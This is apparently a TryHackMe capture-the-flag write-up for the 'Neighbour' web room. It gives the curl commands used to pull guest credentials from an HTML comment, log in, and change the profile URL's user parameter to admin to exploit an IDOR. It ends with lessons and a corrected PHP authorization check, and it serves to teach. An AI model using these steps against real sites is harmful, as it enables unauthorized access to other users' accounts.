Neighbour
Neighbour
Platform: tryhackme | Category: Web | Type: Challenge | Difficulty: Easy | OS: Linux | Author: XESXOR | Date: 2026-02-20 | Status: Solved Techniques: HTML source code inspection for leaked credentials, IDOR via URL query parameter manipulation, Session-authenticated horizontal privilege escalation
Summary
Task: Web application with login form and profile page. Solution: Found guest credentials in HTML comments, logged in, then exploited IDOR vulnerability by changing user parameter in URL from guest to admin to access admin profile and retrieve flag.
Neighbour — TryHackMe
Description
"Check out our new cloud service, Authentication Anywhere -- log in from anywhere you would like! Users can enter their username and password, for a totally secure login process! You definitely wouldn't be able to find any secrets that other people have in their profile, right?"
Target: http://10.48.142.7
Analysis
Reconnaissance
PHP application on Apache/2.4.53 (PHP/8.0.19) with a login form. When viewing the HTML source, a comment with credentials was discovered:
html read-only • copy allowed<!-- use guest:guest credentials until registration is fixed. "admin" user account is off limits!!!!! -->
This reveals:
- Guest credentials:
guest:guest - Existence of
adminaccount — a direct hint to the target
Vulnerability: IDOR (Insecure Direct Object Reference)
After login, the server redirects to profile.php?user=guest. The user parameter in the URL directly determines which profile is displayed. The server does not verify that the authenticated user has permission to view the requested profile — a classic IDOR.
Solution
Step 1: Extracting credentials from source code
bash read-only • copy allowedcurl -s http://10.48.142.7/ | grep '<!--' # <!-- use guest:guest credentials until registration is fixed. "admin" user account is off limits!!!!! -->
Step 2: Authenticating as guest
bash read-only • copy allowedcurl -v -X POST http://10.48.142.7/index.php \ -d "username=guest&password=guest" \ -c cookies.txt
The server responds with HTTP 302 redirecting to:
Location: profile.php?user=guest
Key observation: the user parameter in the URL controls the displayed profile — this is an IDOR indicator.
Step 3: Exploiting IDOR
Change the user parameter from guest to admin:
bash read-only • copy allowedcurl -b cookies.txt http://10.48.142.7/profile.php?user=admin
Server response:
Hi, admin. Welcome to your site. The flag is: flag{REDACTED}
Lessons
-
Always check HTML source: Developer comments often contain credentials, paths, hints.
-
IDOR is one of the most common web vulnerabilities: If a resource identifier is passed in the URL or request body, always try substituting another user's identifier.
-
Authentication != Authorization: The server verifies that the user is logged in (authentication), but does not verify whether they have permission to view the requested profile (authorization).
-
Task name is a hint: "Neighbour" hints at accessing a neighboring user's profile.
Secure Alternative
php read-only • copy allowed<?php session_start(); // Proper authorization check $requested_user = $_GET['user'] ?? ''; $logged_in_user = $_SESSION['username'] ?? ''; // User can only view their OWN profile if ($requested_user !== $logged_in_user) { http_response_code(403); die("Access denied: you can only view your own profile."); } // Or better — don't use the URL parameter at all: // $user = $_SESSION['username']; // Get from session, not from URL ?>